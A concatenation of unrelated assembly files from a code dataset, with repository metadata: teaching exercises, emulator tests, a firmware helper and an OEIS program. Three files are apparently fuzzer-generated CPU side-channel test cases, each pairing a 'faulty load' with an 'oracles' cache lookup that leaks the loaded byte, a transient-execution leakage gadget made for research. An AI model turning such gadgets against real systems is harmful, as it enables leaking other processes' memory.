TheStack | cb8ce1719d6c44c98986f18ecfdb8b0f47fde6a1 | Assemblycode:Assembly | {"size": 1259, "ext": "asm", "max_stars_repo_path": "A7 - Sub-Rotinas parte 2/e3.asm", "max_stars_repo_name": "ZePaiva/ACI", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "A7 - Sub-Rotinas parte 2/e3.asm", "max_issues_repo_name": "ZePaiva/ACI", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "A7 - Sub-Rotinas parte 2/e3.asm", "max_forks_repo_name": "ZePaiva/ACI", "max_forks_repo_forks_event_min_datetime": "2019-10-22T09:48:53.000Z", "max_forks_repo_forks_event_max_datetime": "2019-10-22T09:48:53.000Z"} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 15.5432098765, "max_line_length": 99, "alphanum_fraction": 0.5289912629} | .data
str: .asciiz "Dividendo: "
str2: .asciiz "Divisor: "
str3: .asciiz "Quociente: "
str4: .asciiz "\n"
.eqv print_int, 1
.eqv print_string, 4
.eqv read_int, 5
.text
.globl main
main:
subiu $sp, $sp 12
sw $ra, ($sp)
sw $a0, 4($sp)
sw $a1, 8($sp)
la $a0, str
li $v0, print_string
syscall
li $v0, read_int
syscall
move $s0, $v0 # s0 -> dividendo
la $a0, str2
li $v0, print_string
syscall
li $v0, read_int
syscall
move $s1, $v0 # s1 -> dividendo
move $a0, $s0
move $a1, $s1
jal diviua
move $s0, $v0
la $a0, str3
li $v0, print_string
syscall
move $a0, $s0
li $v0, print_int
syscall
la $a0, str4
li $v0, print_string
syscall
lw $ra, ($sp)
lw $a0, 4($sp)
lw $a1, 8($sp)
addiu $sp, $sp, 12
jr $ra
#######################################################################################3###########
# diviua
# $a0 -> dividendo
# $a1 -> divisor
# $t0 -> i
# $t1 -> bit
# $t2 -> quociente
# $t3 -> resto
diviua:
sll $a1, $a1, 16
andi $a0, $a0, 0xFFFF
sll $a0, $a0, 1
li $t0, 0
for: bge $t0, 16, endFor
li $t1, 0
blt $a0, $a1, notThis
subu $a0, $a0, $a1
li $t1, 1
notThis:
sll $a0, $a0, 1
or $a0, $a0, $t1
addi $t0, $t0,1
j for
endFor:
andi $t2, $a0, 0xFFFF
move $v0, $t2
jr $ra |
||||
TheStack | 3622306ce4c9647ee0b45143a9f6b6140c1bf5ad | Assemblycode:Assembly | {"size": 59, "ext": "asm", "max_stars_repo_path": "src/assembler/Assembler/Simple2.asm", "max_stars_repo_name": "karashily/PDP-11", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/assembler/Assembler/Simple2.asm", "max_issues_repo_name": "karashily/PDP-11", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/assembler/Assembler/Simple2.asm", "max_forks_repo_name": "karashily/PDP-11", "max_forks_repo_forks_event_min_datetime": "2020-01-03T11:15:14.000Z", "max_forks_repo_forks_event_max_datetime": "2020-01-03T11:15:14.000Z"} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 6.5555555556, "max_line_length": 6, "alphanum_fraction": 0.7288135593} | INC R1
INC R1
DEC R1
CLR R1
DEC R0
DEC R0
ROR R0
ASR R0
HLT |
||||
TheStack | 0dbcb160f20ee75bfca402f2579fb3eb788812db | Assemblycode:Assembly | {"size": 1970, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_5_656.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_5_656.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_5_656.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 17.1304347826, "max_line_length": 145, "alphanum_fraction": 0.6492385787} | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x2935, %rsi
lea addresses_A_ht+0x11da5, %rdi
nop
add %r9, %r9
mov $80, %rcx
rep movsl
nop
nop
inc %r8
lea addresses_A_ht+0x19675, %r14
nop
and %r13, %r13
vmovups (%r14), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
nop
nop
nop
and %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0x7275, %rsi
lea addresses_PSE+0x14655, %rdi
nop
nop
nop
nop
nop
add %rbx, %rbx
mov $40, %rcx
rep movsw
nop
nop
nop
nop
xor $7844, %r11
// Store
mov $0x30b76e0000000875, %r14
nop
nop
nop
nop
nop
xor $947, %rbx
movl $0x51525354, (%r14)
nop
nop
sub %rcx, %rcx
// Faulty Load
lea addresses_RW+0x15075, %r14
nop
nop
nop
nop
xor %rcx, %rcx
mov (%r14), %bx
lea oracles, %rdi
and $0xff, %rbx
shlq $12, %rbx
mov (%rdi,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_PSE'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 11}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': True, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 4}}
{'32': 5}
32 32 32 32 32
*/
|
||||
TheStack | 5cb086f33c1b34671298a59c46cb8873442e9128 | Assemblycode:Assembly | {"size": 7961, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1585.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1585.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1585.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 35.6995515695, "max_line_length": 2999, "alphanum_fraction": 0.6544403969} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1bd8c, %rsi
lea addresses_D_ht+0x72c0, %rdi
nop
nop
nop
nop
cmp $64737, %rax
mov $90, %rcx
rep movsw
xor $45333, %rsi
lea addresses_A_ht+0x171e4, %rsi
lea addresses_D_ht+0x1898c, %rdi
clflush (%rsi)
nop
and %r11, %r11
mov $94, %rcx
rep movsl
nop
add $59069, %r11
lea addresses_WT_ht+0xd98c, %r15
clflush (%r15)
nop
xor $19990, %rcx
movw $0x6162, (%r15)
nop
nop
dec %rax
lea addresses_WC_ht+0x1718c, %rcx
xor %r15, %r15
movl $0x61626364, (%rcx)
nop
nop
nop
xor %rax, %rax
lea addresses_WC_ht+0x1258c, %r15
clflush (%r15)
nop
nop
add $44190, %r11
mov (%r15), %di
nop
cmp $48935, %rsi
lea addresses_UC_ht+0x9d64, %rax
clflush (%rax)
nop
nop
nop
and %rdi, %rdi
mov (%rax), %r11d
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x10840, %rsi
lea addresses_A_ht+0xd78c, %rdi
add $2093, %r9
mov $60, %rcx
rep movsq
nop
add %r11, %r11
lea addresses_WT_ht+0x1a98c, %rsi
nop
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rsi)
sub $51257, %rdi
lea addresses_UC_ht+0x1d160, %r15
nop
nop
nop
cmp %rcx, %rcx
mov (%r15), %rdi
nop
nop
nop
nop
sub $6862, %rsi
lea addresses_WC_ht+0xf18c, %rsi
lea addresses_D_ht+0x1290c, %rdi
clflush (%rdi)
nop
nop
nop
add %r9, %r9
mov $57, %rcx
rep movsw
nop
nop
nop
sub %rcx, %rcx
lea addresses_A_ht+0x18aec, %r9
nop
nop
nop
nop
cmp $30830, %rcx
movw $0x6162, (%r9)
nop
nop
nop
nop
sub %rax, %rax
lea addresses_normal_ht+0xaddc, %r15
inc %r11
vmovups (%r15), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r9
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x1758c, %rsi
lea addresses_D_ht+0x858c, %rdi
nop
inc %r13
mov $66, %rcx
rep movsw
nop
nop
dec %r11
lea addresses_normal_ht+0x11c8c, %rdi
add %r13, %r13
mov (%rdi), %r9
nop
and %rax, %rax
lea addresses_UC_ht+0x17a4c, %r15
clflush (%r15)
nop
nop
and $29130, %rcx
mov (%r15), %r9w
add $51038, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rax
push %rbp
push %rbx
push %rdx
// Store
lea addresses_WT+0xda8c, %r13
cmp %rdx, %rdx
mov $0x5152535455565758, %r9
movq %r9, %xmm2
vmovups %ymm2, (%r13)
nop
nop
nop
sub %r9, %r9
// Faulty Load
lea addresses_RW+0xf58c, %rbp
nop
nop
dec %r10
mov (%rbp), %edx
lea oracles, %rbx
and $0xff, %rdx
shlq $12, %rdx
mov (%rbx,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT', 'congruent': 7}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'dst': {'same': True, 'congruent': 8, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 6}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
||||
TheStack | 78c7fee5baf578c3443cd514b35c77e3ca8b23b6 | Assemblycode:Assembly | {"size": 157, "ext": "asm", "max_stars_repo_path": "src/asm/test_jcond/jeq.asm", "max_stars_repo_name": "Petersoj/ECE3710Projects", "max_stars_repo_stars_event_min_datetime": "2021-11-01T03:31:36.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-08T22:48:08.000Z", "max_issues_repo_path": "src/asm/test_jcond/jeq.asm", "max_issues_repo_name": "Petersoj/ECE3710Projects", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/asm/test_jcond/jeq.asm", "max_forks_repo_name": "Petersoj/ECE3710Projects", "max_forks_repo_forks_event_min_datetime": "2022-03-11T12:00:00.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T12:00:00.000Z"} | {"max_stars_count": 3, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 13.0833333333, "max_line_length": 25, "alphanum_fraction": 0.4394904459} | .main
MOVIL r0 5 # x = 5
MOVIL r9 4
JUC r9
.L3
SUBI r0 1
.L2
CMPI r0 5
MOVIL r10 3
JEQ r10
ADD r1 r0 # x = 4
|
||||
TheStack | d2ec923987500689e3a0244fcefe95810f80c2ff | Assemblycode:Assembly | {"size": 2177, "ext": "asm", "max_stars_repo_path": "Irvine/Examples/ch12/MixedMode.asm", "max_stars_repo_name": "alieonsido/ASM_TESTING", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Irvine/Examples/ch12/MixedMode.asm", "max_issues_repo_name": "alieonsido/ASM_TESTING", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Irvine/Examples/ch12/MixedMode.asm", "max_forks_repo_name": "alieonsido/ASM_TESTING", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 23.9230769231, "max_line_length": 63, "alphanum_fraction": 0.6242535599} | ; Mixed-Mode FPU Arithmetic (MixedMode.asm)
; This program demonstrates mixed-mode arithmetic using
; reals and integers. Also, it demonstrates the multiplication
; and division of reals, as well as the SQRT instruction.
INCLUDE Irvine32.inc
.code
main PROC
; ------------- Mixed-mode arithmetic ---------------
; Implement the following expression: Z = (int) (N + X)
.data
N SDWORD 20
X REAL8 3.5
Z SDWORD ?
ctrlWord WORD ?
.code
finit ; initialize FPU
; Demonstrates rounding upward.
fild N ; load integer into ST(0)
fadd X ; add mem to ST(0)
fist Z ; store ST(0) to mem int
mov eax,Z ; sum: 24
; Demonstrates truncation.
fstcw ctrlWord ; store control word
or ctrlWord, 110000000000b ; set the RC field to truncate
fldcw ctrlWord ; load control word
fild N ; load integer into ST(0)
fadd X ; add mem to ST(0)
fist Z ; store ST(0) to mem int
fstcw ctrlWord ; store control word
and ctrlWord, 001111111111b ; reset rounding to default
fldcw ctrlWord ; load control word
mov eax,Z ; sum: 23
; ------------ Divide two reals ------------------
.data
dblOne REAL8 1234.56
dblTwo REAL8 10.0
dblQuot REAL8 ?
.code
fld dblOne ; load into ST(0)
fdiv dblTwo ; divide ST(0) by mem
fstp dblQuot ; store ST(0) to mem
; ------------- Expression (mult, divide)
; valD = -valA + (valB * valC)
.data
valA REAL8 1.5
valB REAL8 2.5
valC REAL8 3.0
valD REAL8 ? ; +6.0
.code
fld valA ; load valA into ST(0)
fchs ; change its sign
fld valB ; load valB into ST(0)
fmul valC ; multiply by valC
fadd ; add ST(1) to ST(0)
fstp valD ; store ST(0) to valD
; ---------- Calculate the sum of three reals ----------
.data
sngArray REAL4 1.5, 3.4, 6.6
sum REAL4 ?
.code
fld sngArray ; load mem into ST(0)
fadd [sngArray+4] ; add mem to ST(0)
fadd [sngArray+8] ; add mem to ST(0)
fstp sum ; store ST(0) to mem
; ---------- Calculate a Square Root ----------------
.data
sngVal1 REAL4 25.0
sngResult REAL4 ?
.code
fld sngVal1 ; load into ST(0)
fsqrt ; ST(0) = square root
fstp sngResult ; store ST(0) to mem
exit
main ENDP
END main |
||||
TheStack | 0fb3fa2b7bca9bd3fa58f312e8f137fdae269072 | Assemblycode:Assembly | {"size": 233, "ext": "asm", "max_stars_repo_path": "EDK_II/OvmfPkg/XenBusDxe/Ia32/TestAndClearBit.asm", "max_stars_repo_name": "tomix86/efi-tetris", "max_stars_repo_stars_event_min_datetime": "2019-06-03T10:47:48.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-21T19:11:38.000Z", "max_issues_repo_path": "EDK_II/OvmfPkg/XenBusDxe/Ia32/TestAndClearBit.asm", "max_issues_repo_name": "tomix86/efi-tetris", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "EDK_II/OvmfPkg/XenBusDxe/Ia32/TestAndClearBit.asm", "max_forks_repo_name": "tomix86/efi-tetris", "max_forks_repo_forks_event_min_datetime": "2021-04-21T06:20:00.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-21T06:20:00.000Z"} | {"max_stars_count": 8, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 12.9444444444, "max_line_length": 30, "alphanum_fraction": 0.6309012876} | .code
; INT32
; EFIAPI
; TestAndClearBit (
; IN INT32 Bit,
; IN volatile VOID* Address
; );
TestAndClearBit PROC
mov ecx, [esp + 4]
mov edx, [esp + 8]
lock btr [edx], ecx
sbb eax, eax
ret
TestAndClearBit ENDP
END
|
||||
TheStack | 50e58b36c6c272478cb4824e035ada9c21306e27 | Assemblycode:Assembly | {"size": 436, "ext": "asm", "max_stars_repo_path": "oeis/284/A284843.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/284/A284843.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/284/A284843.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 39.6363636364, "max_line_length": 221, "alphanum_fraction": 0.745412844} | ; A284843: Number of permutations on [n+2] with no circular 2-successions.
; Submitted by Jon Maiga
; 3,12,55,318,2163,16952,150183,1483290,16153027,192234372,2481692343,34538108822,515428409715,8210201868528,139028223047143,2493848817565362,47236883312958723,942120664413581180,19735072617803491767,433187081497364626542
add $0,1
mov $1,$0
add $0,2
seq $1,255 ; a(n) = n*a(n-1) + (n-1)*a(n-2), a(0) = 1, a(1) = 1.
mul $1,$0
mov $0,$1
|
||||
TheStack | 7d83fa77e31338628d572003ce7fdc55ec079900 | Assemblycode:Assembly | {"size": 196, "ext": "asm", "max_stars_repo_path": "windowsAssembly/codesection.asm", "max_stars_repo_name": "Jordank321/GaryLang", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "windowsAssembly/codesection.asm", "max_issues_repo_name": "Jordank321/GaryLang", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "windowsAssembly/codesection.asm", "max_forks_repo_name": "Jordank321/GaryLang", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 39.2, "max_line_length": 78, "alphanum_fraction": 0.137755102} | ; ---------------------------------------------------------------------------
; Code segment:
; ---------------------------------------------------------------------------
section .text use64
|
||||
TheStack | 460e932718e18a1f654fa2cdab789d1f58d5269e | Assemblycode:Assembly | {"size": 415, "ext": "asm", "max_stars_repo_path": "test/rv32f_test12.asm", "max_stars_repo_name": "kojad666/Vulcan", "max_stars_repo_stars_event_min_datetime": "2020-06-16T16:11:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T13:33:18.000Z", "max_issues_repo_path": "test/rv32f_test12.asm", "max_issues_repo_name": "kojad666/Vulcan", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/rv32f_test12.asm", "max_forks_repo_name": "kojad666/Vulcan", "max_forks_repo_forks_event_min_datetime": "2020-06-23T06:15:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-16T23:59:50.000Z"} | {"max_stars_count": 102, "max_issues_count": null, "max_forks_count": 11, "avg_line_length": 20.75, "max_line_length": 32, "alphanum_fraction": 0.6048192771} | addi x10, x0, 10
addi x11, x0, 5
addi x12, x0, 6
addi x13, x0, 2
fcvt.s.w f0, x10
fcvt.s.w f1, x11
fcvt.s.w f2, x12
fcvt.s.w f3, x13
fdiv.s f20, f1, f0 # f20 = 0.5
fdiv.s f21, f2, f0 # f21 = 0.6
fdiv.s f22, f2, f1 # f22 = 1.2
fadd.s f23, f20, f21 # f23 = 1.1
fadd.s f23, f23, f23 # f23 = 2.2
fdiv.s f24, f3, f0 # f24 = 0.2
fcvt.w.s x20, f20
fcvt.w.s x21, f21
fcvt.w.s x22, f22
fcvt.w.s x23, f23
fcvt.w.s x24, f24
|
||||
TheStack | aef4b550a637f8c63856a9c4cad8e55ecf900338 | Assemblycode:Assembly | {"size": 5256, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1974.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1974.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1974.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 39.5187969925, "max_line_length": 2999, "alphanum_fraction": 0.6605783866} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %rbp
push %rdi
push %rdx
lea addresses_normal_ht+0x1a9ce, %r13
nop
nop
nop
nop
nop
cmp %rdi, %rdi
and $0xffffffffffffffc0, %r13
vmovaps (%r13), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rbp
nop
nop
nop
nop
and $30883, %r15
lea addresses_A_ht+0x5fdd, %rdx
nop
nop
nop
nop
sub $28605, %rbp
mov (%rdx), %r11
nop
and $20074, %rdx
